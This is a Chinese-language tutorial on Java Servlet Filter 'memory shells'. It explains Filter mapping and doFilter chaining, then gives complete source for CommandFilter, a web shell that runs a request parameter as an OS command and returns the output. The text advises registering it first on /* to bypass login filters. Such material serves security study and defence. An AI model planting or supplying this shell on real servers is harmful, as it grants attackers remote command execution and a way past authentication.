Servlets 规范内存马
Filter 内存马
Filter 是 Servlet 规范中定义的一个 Web 组件,可作用在一个 Servlet 或多个 Servlet 上,以链式的方式顺序调用,其允许改变请求和响应的头信息和内容。常见的过滤器有登录认证过滤器、字符编码过滤器以及加解密过滤器。
Filter 配置
Filter 可以选择应用的 url-pattern 或 servlet-name,以下两种方式等价
<filter-mapping>
<filter-name>Multipe Mappings Filter</filter-name>
<url-pattern>/foo/*</url-pattern>
<servlet-name>Servlet1</servlet-name>
<servlet-name>Servlet2</servlet-name>
<url-pattern>/bar/*</url-pattern>
</filter-mapping>@WebFilter(
filterName = "Multipe Mappings Filter",
urlPatterns = {"/foo/*", "/bar/*"},
servletNames = {"Servlet1", "Servlet2"}
)
public class MultipeMappingsFilter implements Filter {
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
// TODO
}
}doFilter
Web 容器在启动时,会扫描 Web 应用中所有 Filter 的定义来注册 Filter,并将其封装成 FilterChain,每个 Filter 在 JVM 中只会有一个实例。
Filter 的接口签名如下,其中最重要的就是 doFilter 方法。
- Web 容器在接收到请求时,会获取 FilterChain 中的第一个过滤器将 request、response 以及 chain 传入 doFilter 方法中进行调用。
- 当过滤器链中最后一个过滤器被调用,将会访问到最终的 Servlet 或静态资源。
- 手动在 doFilter 中调用
chain.doFilter(request, response),将会访问 chain 中下一个过滤器。 - 在 doFilter 中可以选择不调用
chain.doFilter(request, response)则意为阻止当前请求,那么当前过滤器需要负责填充响应对象。
public interface Filter {
/**
* 由 Web 容器在初始化 Filter 时调用。
*/
public void init(FilterConfig filterConfig) throws ServletException;
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)throws IOException, ServletException;
/**
* 由 Web 容器在卸载 Filter 时调用。
*/
public void destroy();
}FilterShell
shell 的目的,就是为了定义一个入口,我们能与 Web 服务器进行交互。在 Filter 中我们就是实现 doFilter 来满足需求,以下定义了一个命令回显的 FilterShell。
- 一般而言,我们会为 FilterShell 注册 url-pattern 为
/*,这样无论访问哪个路径都能被调用到,而且为了绕过登录过滤器,我们会把 FilterShell 注册为 FilterChain 中的第一个过滤器。 - 交互的入口是
request.getParameter支持两种方式传参。GET/POST 请求发送/?paramName=whoami,也可以发送 POST 请求时使用application/x-www-form-urlencoded发送 body 参数。multipart/form-data是不支持从request.getParameter获取参数的。 - 当 Filter 注册的 url-pattern 为
/*时,我们拿到 cmd 参数,就可以执行命令并填充响应对象return结束请求,而在拿不到参数的时候就必须调用chain.doFilter(servletRequest, servletResponse),否则正常的业务就不会被执行。
public class CommandFilter implements Filter {
public static String paramName;
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
HttpServletRequest servletRequest = (HttpServletRequest) request;
HttpServletResponse servletResponse = (HttpServletResponse) response;
String cmd = servletRequest.getParameter(paramName);
if (cmd != null) {
Process exec = Runtime.getRuntime().exec(cmd);
InputStream inputStream = exec.getInputStream();
ServletOutputStream outputStream = servletResponse.getOutputStream();
byte[] buf = new byte[8192];
int length;
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
return;
}
chain.doFilter(servletRequest, servletResponse);
}
@Override
public void destroy() {
}
}